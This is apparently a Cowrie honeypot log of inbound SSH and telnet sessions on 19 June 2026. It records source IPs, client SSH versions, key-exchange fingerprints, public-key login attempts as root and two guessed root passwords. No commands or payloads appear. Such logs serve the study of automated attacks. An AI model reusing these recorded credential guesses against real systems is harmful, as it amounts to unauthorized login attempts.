{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:30.673883Z","src_ip":"87.251.79.125","session":"37563a48fd6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:30.748186Z","src_ip":"87.251.79.125","session":"37563a48fd6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkx6fih711","message":"login attempt [root/dkx6fih711] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:30.962239Z","src_ip":"87.251.79.125","session":"37563a48fd6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:32.035414Z","src_ip":"87.251.79.125","session":"37563a48fd6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43696,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ddcfb1a4b27","protocol":"telnet","message":"New connection: 128.199.8.54:43696 (159.203.135.109:23) [session: 5ddcfb1a4b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:37.039788Z"}
{"eventid":"cowrie.session.closed","duration":36.37177801132202,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:41.606767Z","src_ip":"103.249.87.183","session":"230bd2a0cf36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.100.92","src_port":36448,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6cb265ec60f","protocol":"ssh","message":"New connection: 157.173.100.92:36448 (10.17.0.5:22) [session: d6cb265ec60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.063434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.067092Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.165473Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:d4:83:18:5d:57:1a:29:bc:d4:36:81:0f:f2:02:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2HZrQZeCs9WQwbZnrAv9/fZf6WRa+M4pN2vprv9breJN7cTlY4p9gtDWh0cy6jygCYCUyvmEjlSGbpZj1aEOcyrRaYwIJT44T72o+6bdZD3QfppFLoNVYQ1tjv7Lb9lh6yweDxPQ+MJ9o6NvgWAWD+GvF90bS5y0IHwCt65W0Y1X+i1bV9RerbivX77iRSnwQPq232p8oRHrPiE4FYceEABxkzg9BK273WbOMeshMLlFi8DYo0uHotWvPWC102oBQCDkhNN9+r4DD33Wi+a+FPSxWic4vc7AgMP5vg2giooDEIRdPQvTRZ5D6+vPQbbIIoe7XTR0q1e222fekors1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:d4:83:18:5d:57:1a:29:bc:d4:36:81:0f:f2:02:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.642180Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:d4:83:18:5d:57:1a:29:bc:d4:36:81:0f:f2:02:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2HZrQZeCs9WQwbZnrAv9/fZf6WRa+M4pN2vprv9breJN7cTlY4p9gtDWh0cy6jygCYCUyvmEjlSGbpZj1aEOcyrRaYwIJT44T72o+6bdZD3QfppFLoNVYQ1tjv7Lb9lh6yweDxPQ+MJ9o6NvgWAWD+GvF90bS5y0IHwCt65W0Y1X+i1bV9RerbivX77iRSnwQPq232p8oRHrPiE4FYceEABxkzg9BK273WbOMeshMLlFi8DYo0uHotWvPWC102oBQCDkhNN9+r4DD33Wi+a+FPSxWic4vc7AgMP5vg2giooDEIRdPQvTRZ5D6+vPQbbIIoe7XTR0q1e222fekors1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.645551Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:e0:62:be:e4:02:f4:16:84:81:31:21:d2:cb:85:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL/FDIFoieOpYTzBkstQ0hBVextd2FPACLsRad4Fqon3GRXqJKSrkdwoMMey6+tQPUxE4IHxfjBjbM9D8BGKI3xU4NdMj/Ty95zwDABYB6UQZ2MYRexS8hCH+fdOFi1PkWXXepiDmhJmV0HbQo4rxdgdGawY4aqKbNNhlBJEd4bNAAAAFQD8ZZUCGVIw2R46QVcIizxJN9l5BwAAAIBYaRCNoh6pP6R5Mxg1ahvQg+Kb49MEurdR0gBC/WURUqfqhiFvCqZ0UoqprIlmj/q4xXmMkQMq4yqOcECR8EZ/OB5wTG6HFB7KMuM4zqWq0Zhf/AeEHTkVljCyIJTGjFrMu7b0pZOqPnY8UN0eQ3PcQC/Z+dkcHgsRbM7Kl1p1OQAAAIBAxh1NnW/ZA3bRJShMOLG/dQlZhE+jw5eIQmls87Ymiiiw7vP15lJca0VntwQAsk5NYz5wmUSvXrKgx5AQ7HMZHf+t4IsYtbTrwsx1gzh4hc3IpL/DMeXywxsKHFg84qXqNfViOxV1SK6jxVZTktSAQDsBWETL8nzlZJmvaYHcAg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d5:e0:62:be:e4:02:f4:16:84:81:31:21:d2:cb:85:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.746832Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:e0:62:be:e4:02:f4:16:84:81:31:21:d2:cb:85:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL/FDIFoieOpYTzBkstQ0hBVextd2FPACLsRad4Fqon3GRXqJKSrkdwoMMey6+tQPUxE4IHxfjBjbM9D8BGKI3xU4NdMj/Ty95zwDABYB6UQZ2MYRexS8hCH+fdOFi1PkWXXepiDmhJmV0HbQo4rxdgdGawY4aqKbNNhlBJEd4bNAAAAFQD8ZZUCGVIw2R46QVcIizxJN9l5BwAAAIBYaRCNoh6pP6R5Mxg1ahvQg+Kb49MEurdR0gBC/WURUqfqhiFvCqZ0UoqprIlmj/q4xXmMkQMq4yqOcECR8EZ/OB5wTG6HFB7KMuM4zqWq0Zhf/AeEHTkVljCyIJTGjFrMu7b0pZOqPnY8UN0eQ3PcQC/Z+dkcHgsRbM7Kl1p1OQAAAIBAxh1NnW/ZA3bRJShMOLG/dQlZhE+jw5eIQmls87Ymiiiw7vP15lJca0VntwQAsk5NYz5wmUSvXrKgx5AQ7HMZHf+t4IsYtbTrwsx1gzh4hc3IpL/DMeXywxsKHFg84qXqNfViOxV1SK6jxVZTktSAQDsBWETL8nzlZJmvaYHcAg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.749575Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:98:ad:06:e3:a9:e6:ed:a6:9b:fc:5c:57:22:0f:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZJukJjaBTi1AkanTKiEvxo0Q7Z0fFubXk/D7vb1bZZZ52175/sr63KpHDfDArwp0mhTD9hwhcr2EHy7BeJ/u7dPkLbAMnWtCx8BSLAZbumNf/bt+b6oUT/+NLnT7JaMwVN05SJVDQ7ojf9t51ui6e7RTDhaiRYPtx41by8rGssz91pvgicvoqPr3JiTLh1wy1EEnf62BTkawRUc8i17W7XIZMpizcgFGEvDAkSpWFJpml6nxvZ9VV6mmrhH2171dOAi2b6XQnBh9kzTQ3LVh+TBg41sQE5VIblVb1MT5XHSBJILCchxA4W0J7FolXPx7XEQrWuxphmZm91NHDyA8d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:98:ad:06:e3:a9:e6:ed:a6:9b:fc:5c:57:22:0f:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.848403Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:98:ad:06:e3:a9:e6:ed:a6:9b:fc:5c:57:22:0f:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZJukJjaBTi1AkanTKiEvxo0Q7Z0fFubXk/D7vb1bZZZ52175/sr63KpHDfDArwp0mhTD9hwhcr2EHy7BeJ/u7dPkLbAMnWtCx8BSLAZbumNf/bt+b6oUT/+NLnT7JaMwVN05SJVDQ7ojf9t51ui6e7RTDhaiRYPtx41by8rGssz91pvgicvoqPr3JiTLh1wy1EEnf62BTkawRUc8i17W7XIZMpizcgFGEvDAkSpWFJpml6nxvZ9VV6mmrhH2171dOAi2b6XQnBh9kzTQ3LVh+TBg41sQE5VIblVb1MT5XHSBJILCchxA4W0J7FolXPx7XEQrWuxphmZm91NHDyA8d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.851263Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:8b:64:e7:fa:19:a4:67:72:71:23:fa:8d:09:3a:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7b7kzoGJDjsgF1v/6v6HDdy7IesrLPR7E+U2zQovb49VH0ke2BVgAz/BDt+GWZ7dhMi+t/0yL1+lKoyB7EyVSIpnCSKYo79g7o06oxgEYkHiahxrxGBn95wPd/5nBOVBjZe/SJjdd84yWywq8gqPGFrbExanwJuk7i8DHD9A9XEvRMJ4QVNurLVzymPTSMSUPCwiHuiSvJl5y0DE+YX7bH6F55RV712Eb2i+O7skvs2RszhAElZCd5Zbr2hQ4mt5oLCwFmEnkJdu/Ir66S/w0GqqvbtPARiGnU+TaYTuNi8k/xwuPs95DaUqHmwPwmgGHQoaZO8bY8leBocapQjYV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:8b:64:e7:fa:19:a4:67:72:71:23:fa:8d:09:3a:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.954793Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:8b:64:e7:fa:19:a4:67:72:71:23:fa:8d:09:3a:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7b7kzoGJDjsgF1v/6v6HDdy7IesrLPR7E+U2zQovb49VH0ke2BVgAz/BDt+GWZ7dhMi+t/0yL1+lKoyB7EyVSIpnCSKYo79g7o06oxgEYkHiahxrxGBn95wPd/5nBOVBjZe/SJjdd84yWywq8gqPGFrbExanwJuk7i8DHD9A9XEvRMJ4QVNurLVzymPTSMSUPCwiHuiSvJl5y0DE+YX7bH6F55RV712Eb2i+O7skvs2RszhAElZCd5Zbr2hQ4mt5oLCwFmEnkJdu/Ir66S/w0GqqvbtPARiGnU+TaYTuNi8k/xwuPs95DaUqHmwPwmgGHQoaZO8bY8leBocapQjYV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:59.959294Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:ce:ef:ba:70:27:30:eb:29:f2:51:bf:82:f4:39:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVr1YtUycScn5eLRGPLrVjBGxCc5uGzrNj56EhSkv4SmqWOPNa3qChRIRhkhosjg1yLtmtuwfNt6g7KIZY3uS9Nzsg5kiHbUTXqDIb6oYpD0O2ajty2IpnmdNqdMD14oMCtkGfqcxSq89mTcX8/ztAsgGaEO50sj81T6SeWfhkdFxuwCDGBc2PyfW4R+nYbwrpnDkYicAW+O8iVJYWkDrcMVbJ0Y9DkN3YmlCVQQTvlb4fi7DKvPvoANnhtGuj6hTIxO6Q4Hw2oDXz/hi2mTVXtY4OyoJHx2qv1r6Sd980xPMUz85THNjVKEvG4PTe/IjuRnm8mufyP6LcV6loLcUx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:ce:ef:ba:70:27:30:eb:29:f2:51:bf:82:f4:39:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:00.061912Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:ce:ef:ba:70:27:30:eb:29:f2:51:bf:82:f4:39:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVr1YtUycScn5eLRGPLrVjBGxCc5uGzrNj56EhSkv4SmqWOPNa3qChRIRhkhosjg1yLtmtuwfNt6g7KIZY3uS9Nzsg5kiHbUTXqDIb6oYpD0O2ajty2IpnmdNqdMD14oMCtkGfqcxSq89mTcX8/ztAsgGaEO50sj81T6SeWfhkdFxuwCDGBc2PyfW4R+nYbwrpnDkYicAW+O8iVJYWkDrcMVbJ0Y9DkN3YmlCVQQTvlb4fi7DKvPvoANnhtGuj6hTIxO6Q4Hw2oDXz/hi2mTVXtY4OyoJHx2qv1r6Sd980xPMUz85THNjVKEvG4PTe/IjuRnm8mufyP6LcV6loLcUx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:00.065044Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:00.180995Z","src_ip":"157.173.100.92","session":"d6cb265ec60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.4825234413147,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:15.522183Z","src_ip":"128.199.8.54","session":"5ddcfb1a4b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41924,"dst_ip":"159.203.135.109","dst_port":23,"session":"c457e529c706","protocol":"telnet","message":"New connection: 128.199.8.54:41924 (159.203.135.109:23) [session: c457e529c706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:19.151152Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43278,"dst_ip":"159.203.135.109","dst_port":22,"session":"434a755330a4","protocol":"ssh","message":"New connection: 80.66.85.226:43278 (159.203.135.109:22) [session: 434a755330a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:30.194653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:30.200270Z","src_ip":"80.66.85.226","session":"434a755330a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:30.294064Z","src_ip":"80.66.85.226","session":"434a755330a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mehanik","message":"login attempt [root/mehanik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:30.579303Z","src_ip":"80.66.85.226","session":"434a755330a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:45:31.675288Z","src_ip":"80.66.85.226","session":"434a755330a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.027708292007446,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:46:11.178748Z","src_ip":"128.199.8.54","session":"c457e529c706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47714,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f4a2c0492cd","protocol":"telnet","message":"New connection: 128.199.8.54:47714 (159.203.135.109:23) [session: 0f4a2c0492cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:02.756549Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48328,"dst_ip":"159.203.135.109","dst_port":23,"session":"33101ad3c471","protocol":"telnet","message":"New connection: 128.199.8.54:48328 (159.203.135.109:23) [session: 33101ad3c471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:03.797861Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.146.37","src_port":41296,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b80b53d1296","protocol":"ssh","message":"New connection: 107.173.146.37:41296 (10.17.0.5:22) [session: 9b80b53d1296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:15.838457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:15.842352Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:15.923005Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
